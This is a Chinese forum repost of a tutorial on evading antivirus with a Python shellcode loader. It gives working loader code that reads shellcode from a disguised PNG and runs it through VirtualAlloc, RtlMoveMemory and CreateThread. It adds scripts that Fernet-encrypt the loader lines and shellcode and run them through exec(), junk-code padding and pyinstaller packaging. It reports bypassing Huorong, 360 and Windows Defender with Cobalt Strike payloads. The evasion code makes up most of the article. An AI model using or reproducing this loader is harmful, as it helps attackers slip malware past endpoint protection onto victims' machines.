社区所有版块导航
Python
python开源   Django   Python   DjangoApp   pycharm  
DATA
docker   Elasticsearch  
aigc
aigc   chatgpt  
WEB开发
linux   MongoDB   Redis   DATABASE   NGINX   其他Web框架   web工具   zookeeper   tornado   NoSql   Bootstrap   js   peewee   Git   bottle   IE   MQ   Jquery  
机器学习
机器学习算法  
Python88.com
反馈   公告   社区推广  
产品
短视频  
印度
印度  
Py学习  »  Python

【免杀】一种python动态加密免杀方式

moonsec • 1 年前 • 558 次点击  
一种python动态加密免杀方式

laotie233

1简介

一种python动态加密免杀方式,过火绒、360windowsdefender


2正文

从分离免杀讲起

分离免杀比如说在CS生成了一个exe,可执行文件里面就包含了shellcodeshellcodeloader

免杀无非就是让shellcodeshellcodeloader都不会被杀毒软件检测到

CS默认生成shellcode特征较为明显,杀软一定是要报毒,所以将shellcode分离,对其进行加密等免杀处理,防止被静态扫描到特征

一个python加载器

下面具体举例一个python分离加载的例子


import ctypesf=open('demo.png','rb')shellcode=f.read()shellcode=bytearray(shellcode)#设置VirtualAlloc返回类型为ctypes.c_uint64ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64#申请内存ptr=ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x3000),ctypes.c_int(0x40))#放入shellcodebuf=(ctypes.c_char *len(shellcode)).from_buffer(shellcode)ctypes.windll.kernel32.RtlMoveMemory(   ctypes.c_uint64(ptr),   buf,   ctypes.c_int(len(shellcode)))#创建一个线程从shellcode放置位置首地址开始执行handle=ctypes.windll.kernel32.CreateThread(   ctypes.c_int(0),   ctypes.c_int(0),   ctypes.c_uint64(ptr),   ctypes.c_int(0),   ctypes.c_int(0),   ctypes.pointer(ctypes.c_int(0)))#等待上面创建的线程运行完ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))

上面为烂大街的代码,一定过不了免杀的,今天就这里开始一步一步过掉defender


前置基础

  • exec()执行储存在字符串或文件中的 Python 语句,相比于evalexec可以执行更复杂的 Python 代码

  • cryptography.fernet提供python加密lib

>>


    
>fromcryptography.fernet importFernet>>>#Put this somewhere safe!>>>key =Fernet.generate_key()>>>f =Fernet(key)>>>token =f.encrypt(b"Areally secret message. Not for prying eyes.")>>>token'...'>>>f.decrypt(token)'Areally secret message. Not for prying eyes.'

寻找免杀的语句

既然免杀杀的的一个程序,程序又是一条一条的控制指令,代码层面也就是一行一行的代码,那么到底是哪一行被ban掉,我们可以通过一行一行进行注释进行测试

  • 以火绒为例子进行测试

经过一步一步的注释代码,最后注释完成的代码如下

importctypes

f=open('demo.png','rb')shellcode=f.read()shellcode=bytearray(shellcode)#设置VirtualAlloc返回类型为ctypes.c_uint64#ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64#申请内存ptr=ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x3000),ctypes.c_int(0x40))#放入shellcodebuf=(ctypes.c_char *len(shellcode)).from_buffer(shellcode)#ctypes.windll.kernel32.RtlMoveMemory(# ctypes.c_uint64(ptr),# buf,# ctypes.c_int(len(shellcode))#)#创建一个线程从shellcode放置位置首地址开始执行#handle = ctypes.windll.kernel32.CreateThread(# ctypes.c_int(0),# ctypes.c_int(0),# ctypes.c_uint64(ptr),# ctypes.c_int(0),# ctypes.c_int(0),# ctypes.pointer(ctypes.c_int(0))#)handle=0#等待上面创建的线程运行完ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))


  • 也就是说会被杀毒干掉的代码,整理如下

ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
ctypes.windll.kernel32.RtlMoveMemory( ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode)))
handle=ctypes.windll.kernel32.CreateThread( ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)))

  • 对三条语句进行fernet加密+ eval测试

  • 简单写个脚本

from cryptography.fernet importFernet
#被火绒ban掉的代码ban_code=[b'''ctypes.windll.kernel32.VirtualAlloc.restype= ctypes.c_uint64''',b'''ctypes.windll.kernel32.RtlMoveMemory( ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode)))''',b'''handle= ctypes.windll.kernel32.CreateThread( ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)))''' ]
forcode inban_code: key =Fernet.generate_key() f =Fernet(key) enc_pay =f.encrypt(bytes(code)) output_key ="key= {0}".format(key) print(output_key) print("f_obj= Fernet(key)") output_enc_pay ="enc_pay= {0}".format(enc_pay) print(output_enc_pay) print("exec(f_obj.decrypt(enc_pay))") print("========================================")C:\my\AntiVirus\python_fernet_AV\venv\Scripts\python.exeC:/my/AntiVirus/python_fernet_AV/pass_huorong_fernet_test.pykey=b'9O0kemh7b14TE08uoxOQahV9iaszy8BOvWCQXn1sAsM='f_obj=Fernet(key)enc_pay=b'gAAAAABjOalQpQQhm89YIText7z5FgH-tLhTbDMmDMt3sBl9jUR0S0QX2NBFYCsmNw01Dk7ZPCgnC6TbwgAbK9H2N7f27DHcAqdEHhhaA8_GpXD_IrCO54w2yKHjeRnvSO34XBaz0TIeOprX5nm0ss8gXIyuVylepw=='exec(f_obj.decrypt(enc_pay))========================================key=b'RMiuR9vyJ_EZspzBzJ3IXKcAWGNNN1Xdxd8B-BZOPyM='f_obj=Fernet(key)enc_pay=b'gAAAAABjOalQCFu_z34aC8D1wugbpwfeFFVELPoSXYuz25Sbj-61Ayuu7G-m8oQ6yekbY50jUCGTmfVDyF6H4ldFgPYLCGwTiZYzusdK9tRoh3HwYYUyDEmS2CHsk9u54hQRM1aeg09TVr_xYJXshCx1sZ3Lx33cJcchhQMIRo1k8GQzIqdiJWwqlidgGK18fEuGfWhy4dj9nqS99Xxqq9beR5BxppIdjA=='exec(f_obj.decrypt(enc_pay))========================================key=b'e9tKPxbu_sE0u2GDqb8Os20fmmaId39hVt52vOkWUVk='f_obj=Fernet(key)enc_pay=b'gAAAAABjOalQ9UmOaf1JvCMAozgbIO9YnJYh7lr1YGHHrpwc7B5LsxpBhsAE3hW7rSVtzhb2jluUPO0GnQtUk6UR_soM_RklOC968Y4SmJC2K_4P92TUZ_P7PKmix9mqVBf77biQWwnEjLkuVlBSNIwudHianyahTo3jSsqRj58gT1Az9ihZ1B34vwtYzKMHVD6y5P7hsnHa2UAhMO8KapNJWtEVH9hKkWnBUEwoj50QXP9thZQER8Y9m2X9UATVyySmbuzkVwm8EoWDHZ_-ab9qnnnBsg5MJ6EKdZmarAZMHM8-7juC8YQjTDYe8ydzYnwb9a32gGCiqqIzsEcKBIWXKDheH55LhA=='exec(f_obj.decrypt(enc_pay))========================================
Processfinished with exit code 0

  • 替换后的代码为

importctypesfromcryptography.fernet importFernet
f=open('demo.png','rb')shellcode=f.read()shellcode=bytearray(shellcode)#设置VirtualAlloc返回类型为ctypes.c_uint64key=b'9O0kemh7b14TE08uoxOQahV9iaszy8BOvWCQXn1sAsM='f_obj=Fernet(key)enc_pay=b'gAAAAABjOalQpQQhm89YIText7z5FgH-tLhTbDMmDMt3sBl9jUR0S0QX2NBFYCsmNw01Dk7ZPCgnC6TbwgAbK9H2N7f27DHcAqdEHhhaA8_GpXD_IrCO54w2yKHjeRnvSO34XBaz0TIeOprX5nm0ss8gXIyuVylepw=='exec(f_obj.decrypt(enc_pay))#申请内存ptr=ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x3000),ctypes.c_int(0x40))#放入shellcodebuf=(ctypes.c_char *len(shellcode)).from_buffer(shellcode)key=b'RMiuR9vyJ_EZspzBzJ3IXKcAWGNNN1Xdxd8B-BZOPyM='f_obj=Fernet(key)enc_pay=b'gAAAAABjOalQCFu_z34aC8D1wugbpwfeFFVELPoSXYuz25Sbj-61Ayuu7G-m8oQ6yekbY50jUCGTmfVDyF6H4ldFgPYLCGwTiZYzusdK9tRoh3HwYYUyDEmS2CHsk9u54hQRM1aeg09TVr_xYJXshCx1sZ3Lx33cJcchhQMIRo1k8GQzIqdiJWwqlidgGK18fEuGfWhy4dj9nqS99Xxqq9beR5BxppIdjA=='exec(f_obj.decrypt(enc_pay))#创建一个线程从shellcode放置位置首地址开始执行key=b'e9tKPxbu_sE0u2GDqb8Os20fmmaId39hVt52vOkWUVk='f_obj=Fernet(key)enc_pay=b'gAAAAABjOalQ9UmOaf1JvCMAozgbIO9YnJYh7lr1YGHHrpwc7B5LsxpBhsAE3hW7rSVtzhb2jluUPO0GnQtUk6UR_soM_RklOC968Y4SmJC2K_4P92TUZ_P7PKmix9mqVBf77biQWwnEjLkuVlBSNIwudHianyahTo3jSsqRj58gT1Az9ihZ1B34vwtYzKMHVD6y5P7hsnHa2UAhMO8KapNJWtEVH9hKkWnBUEwoj50QXP9thZQER8Y9m2X9UATVyySmbuzkVwm8EoWDHZ_-ab9qnnnBsg5MJ6EKdZmarAZMHM8-7juC8YQjTDYe8ydzYnwb9a32gGCiqqIzsEcKBIWXKDheH55LhA=='exec(f_obj.decrypt(enc_pay))#等待上面创建的线程运行完ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))

  • 生成的exe成功绕过火绒


正常上线


  • 同理测试下360



成功上线

  • 继续测试下windows defender


  • 静态扫描失败

深入一下

前文对部分shellloader语句进行fernet加密处理,那么不如所有shellloader语句 和 shellcode进行加密

  • 简单写一下脚本如下

#-*- coding:utf-8 -* from cryptography.fernet importFernet 
#生成免杀代码
defender_code=[ # b''' #import ctypes # ''', # # b''' #from ctypes import * # ''', # # b''' #from cryptography.fernet import Fernet # ''',
b'''f= open('demo2.png', 'rb') ''',
b'''shellcode= f.read() ''',
b'''need_decrypt_shellcode ''',
b'''shellcode= bytearray(shellcode) ''',
b'''ctypes.windll.kernel32.VirtualAlloc.restype= ctypes.c_uint64 ''',
b'''ptr= ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40)) ''',
b'''buf= (ctypes.c_char * len(shellcode)).from_buffer(shellcode) ''',
b'''ctypes.windll.kernel32.RtlMoveMemory( ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode))) ''',
b''' handle= ctypes.windll.kernel32.CreateThread( ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0))) ''',
b'''ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1)) ''',]withopen('./test_middle_static.py','w+')asmid_f: #写入import mid_f.write("#-*- coding:utf-8 -*") mid_f.write('\n') mid_f.write("importctypes") mid_f.write('\n') mid_f.write("fromctypes import *") mid_f.write('\n') mid_f.write("fromcryptography.fernet import Fernet") mid_f.write('\n')
forcode indefender_code: mid_f.write("#{0}".format(code)) mid_f.write('\n') ifcode ==b'''need_decrypt_shellcode ''': #shellcode 加密你也可以分离免杀 test_f =open('demo.png','rb') shellcode =test_f.read() shellcode =bytearray(shellcode) #print(shellcode) test_f.close() #加密 key =Fernet.generate_key() f =Fernet(key) enc_pay =f.encrypt(bytes(shellcode)) print(key) print("=========")
#写入shell2.png test_f =open("./demo2.png","w+") test_f.write(enc_pay.decode()) test_f.close() output_key ="key= {0}".format(key) mid_f.write(output_key) mid_f.write('\n') mid_f.write("f_obj= Fernet(key)") mid_f.write('\n') mid_f.write("shellcode= f_obj.decrypt(shellcode)") mid_f.write('\n') mid_f.write("shellcode= bytearray(shellcode)") mid_f.write('\n') continue
key =Fernet.generate_key() f =Fernet(key) enc_pay =f.encrypt(bytes(code)) output_key ="key= {0}".format(key) mid_f.write(output_key) mid_f.write('\n') print(output_key) print("f_obj= Fernet(key)") mid_f.write("f_obj= Fernet(key)") mid_f.write('\n') output_enc_pay ="enc_pay= {0}".format(enc_pay) print(output_enc_pay) mid_f.write(output_enc_pay) mid_f.write('\n') print("exec(f_obj.decrypt(enc_pay))") mid_f.write("exec(f_obj.decrypt(enc_pay))") mid_f.write('\n') print("========================================")



#pyinstaller -F test_middle_static.py


  • ok, 再次生成相应可执行文件, windows defender静态扫描通过

  • 尝试动态运行


再深入一下

简单总结下,当下的进展

  • 火绒过

  • 360

  • windows defender 静态过,动态GG


动态杀毒的基本原理这里就简单说一下,无非就是程序动态运行时进行监控(程序行为、cpu占用、内存占用等等),其实继续深入绕过defender的思路还会有很多,这里就拿一个花指令举例

  • 花指令,简单来说就是加垃圾代码(排序、编码、深度学习识别等等)

下面是花指令的一些简单代码

#写入花指令   junk_code1 ="""importrandom

def partition(test_arr, low, high): i = (low - 1) pivot = test_arr[high]
for j in range(low, high): if test_arr[j] <= pivot: i = i + 1 test_arr[i], test_arr[j] = test_arr[j], test_arr[i]
test_arr[i + 1], test_arr[high] = test_arr[high], test_arr[i + 1] return i + 1

def quick_sort(test_arr, low, high): if low < high: pi = partition(test_arr, low, high) quick_sort(test_arr, low, pi - 1) quick_sort(test_arr, pi + 1, high)

test_arr= []for i in range(59999): test_arr.append(random.random())n= len(test_arr)quick_sort(test_arr,0, n - 1) """ junk_code2 ="""import re
re.search('www','www.runoob.com').span()re.search('com','www.runoob.com').span()
line= "Cats are smarter than dogs ok in shakdhaksdas";
searchObj= re.search(r'(.*) are (.*?) .*', line, re.M | re.I)

def double(matched): value = int(matched.group('value')) return str(value * 2)

s= 'A23G4HFD567're.sub('(?P\d+)',double, s) """
junk_code3 ="""import base64
st= 'wo gan jue wo ma shang jiu yao bei defender gan diao a ba a bachonogchong chongcong!'.encode()res= base64.b64encode(st)aaa= res.decode()res= base64.b64decode(res)bbb= res.decode() """


  • ok 通过花指令的随机加入,成功将defender绕过



3写在最后

免杀学习过程中本身学习的就是一个思路,随着免杀的公开->杀毒的提升,免杀的难度也会随之提升

切记,免杀学的是思路,不是具体的方法,本文的最后一节也只是提供了一个思路。


4关注公众号

公众号长期更新安全类文章,关注公众号,以便下次轻松查阅

觉得文章对你有帮助 请转发 点赞 收藏





Python社区是高质量的Python/Django开发社区
本文地址:http://www.python88.com/topic/147952
 
558 次点击